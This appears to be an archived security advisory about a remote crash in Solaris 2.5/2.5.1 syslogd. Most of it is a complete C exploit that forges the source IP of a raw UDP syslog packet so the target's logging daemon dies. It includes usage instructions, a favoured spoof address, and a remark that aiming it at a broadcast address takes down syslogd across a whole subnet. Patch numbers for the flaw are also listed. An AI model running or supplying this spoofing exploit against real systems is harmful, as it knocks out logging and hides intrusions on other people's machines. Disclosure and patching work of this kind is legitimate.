COMMAND
syslogd
SYSTEMS AFFECTED
Solaris 2.5, 2.5.1 (Sparc & x86)
PROBLEM
'lb' found bug that may be used to remotely kill Solaris syslogd.
When Solaris syslogd receives an external message it attempts to
do a DNS lookup on the source IP. Many times, if this IP doesn't
match a DNS record then syslogd will crash with a Seg Fault.
This will disable logging on the target machine. It also turns
out that depending on the source IP, syslogd will either Seg Fault
or Bus Error which leads to believe this could be most harmful.
Sun seems to have attributed the bug to "LOCAL" facility syslog
traffic loads causing syslogd to die. Using LOG_AUTH and most of
the syslog facilities and they all seem to cause syslogd to crash.
Alot of people are under the impression that this has nothing
to do with DNS. If inserted a DNS entry for the IP in question,
syslogd would query and work fine.. if removed the DNS entry
syslogd would crash. Still, it's not 100% clear.
Exploit by 'lb' follows.
/*
To effectively kill a Solaris<2.6 syslogd use in the following
manner:
./syslogd_kill <ip-with-no-DNS> <victim IP>
My favorite is the 10.20.10.1 IP as this was the first IP I found
which killed syslogd and hasn't failed to work yet. Then again, I
haven't found a Solaris box that wasn't 2.6 that this hasn't
worked on. Let me know what you find.
Sorry if any credits were deleted, I really didn't know I was
gonna distribute this. This is the syslog_spoof code that was
posted to bugtraq a few weeks back, but modified to work with BSD
and Solaris.
To compile under Solaris use: cc -lnsl -lsocket syslogd_kill.c
This code has been tested only under Solaris and FreeBSD 3.0. If
it doesn't work under Linux, just go get the old Linux code off a
bugtraq archive.
lb@inext.net
[NOTE: This may not apply anymore, I don't touch Linux. - lb]
The code compiles and works under Linux. Any Unix that has
SOCK_RAW/IPPROTO_RAW should be no problem (you may need to use
BSD-style struct ip though). It may use few improvements, like
checking for possible ICMP Port Unreachable errors in case the
remote machine doesn't run syslogd with remote reception turned
on.
*/
#include <stdio.h>
#include <stdlib.h>
#include <syslog.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/tcpip.h>
#define IPVERSION 4
/* This is the stuff that actually gets sent. Feel free to change it */
#define MESSAGE_FAC LOG_LOCAL7
/* I use LOCAL7 because it is probably not caught as often - lb */
#define MESSAGE_PRI LOG_DEBUG
/* Debug is especially unlikely to be caught - lb*/
char message[] = {""}; /* This is the message which would have been */
/* spoofed and is still received by syslog before */
/* it dies.. so I made it empty. - lb */
struct raw_pkt_hdr {
struct ip iphdr;
struct udphdr udp;
};
struct raw_pkt_hdr* pkt;
void die(char *);
unsigned short checksum(unsigned short*,char);
int main(int argc,char** argv){
struct sockaddr_in sa;
struct sockaddr_in sa2;
int sock,packet_len;
char usage[] = {"\
syslog_deluxe, yuri volobuev'97\n\
modded by lb Oct97\n\
make syslog look the way you want, here there and everywhere\n\n\
\t usage: syslog_deluxe src_hostname dst_hostname\n\n\
\t to kill syslogd: syslog_deluxe <IP-with-no-DNS> <victim IP>\n\n"};
static int on = 1;
if(argc != 3)die(usage);
bzero((struct sockaddr_in *)&sa, sizeof(sa));
bzero((struct sockaddr_in *)&sa2, sizeof(sa2));
if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
perror("socket");
exit(1);
}
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(argv[2]);
sa2.sin_family = AF_INET;
sa2.sin_addr.s_addr = inet_addr(argv[1]);
packet_len = sizeof(struct raw_pkt_hdr)+strlen(message)+4;
pkt = calloc((size_t)1,(size_t)packet_len);
pkt->iphdr.ip_v = IPVERSION;
pkt->iphdr.ip_hl = 0x5;
pkt->iphdr.ip_len = packet_len;
pkt->iphdr.ip_ttl = 0x40;
pkt->iphdr.ip_p = IPPROTO_UDP;
pkt->iphdr.ip_sum = 0;
pkt->iphdr.ip_src.s_addr = sa2.sin_addr.s_addr;
pkt->iphdr.ip_dst.s_addr = sa.sin_addr.s_addr;
pkt->iphdr.ip_sum = checksum((unsigned short*)pkt,sizeof(struct ip));
pkt->udp.uh_sport = htons(514);
pkt->udp.uh_dport = htons(514);
pkt->udp.uh_ulen = htons(packet_len - sizeof(struct ip));
pkt->udp.uh_sum = 0; /* If you feel like screwing around with pseudo-headers
and stuff, you may of course calculate UDP checksum
as well. I chose to leave it zero, it's usually OK */
sprintf((char*)pkt+sizeof(struct raw_pkt_hdr),"<%d>%s",
(int)(MESSAGE_FAC | MESSAGE_PRI),message);
if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {
perror("setsockopt: IP_HDRINCL");
exit(1);
}
if(sendto(sock,(char *)&pkt->iphdr,packet_len,(int)NULL,(struct sockaddr*)&sa,sizeof(sa)) < 0){
perror("sendto");
exit(1);
}
exit(0);
}
void die(char* str){
fprintf(stderr,"%s\n",str);
exit(1);
}
unsigned short checksum(unsigned short* addr,char len){
/* This is a simplified version that expects even number of bytes */
register long sum = 0;
while(len > 1){
sum += *addr++;
len -= 2;
}
while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);
return ~sum;
}
Nothe that this is kind of wild if you feed it a subnet broadcast
address as the <victim IP>. Don't try that lightly if you don't
have access to restart all the dead syslogd's on all Solaris
boxes on that wire.
SOLUTION
Solaris 2.6 Sparc does not appear to be vulnerable. There was a
patch released by Sun to solve the "LOCAL" problem, but it doesn't
seem to be publicly available SunSolve Online, but are available
from this unofficial SunOS patch repository:
Solaris 2.5 SPARC: 103291-02
Solaris 2.5.1 SPARC: 103738-04 (fix was actually made in 103738-01)
x86: 103739-05 (fix was actually made in 103739-01)
ftp://qiclab.scn.rain.com/pub/sunos-patches/sol25/
ftp://qiclab.scn.rain.com/pub/sunos-patches/sol251/
ftp://qiclab.scn.rain.com/pub/sunos-patches/sol251_x86/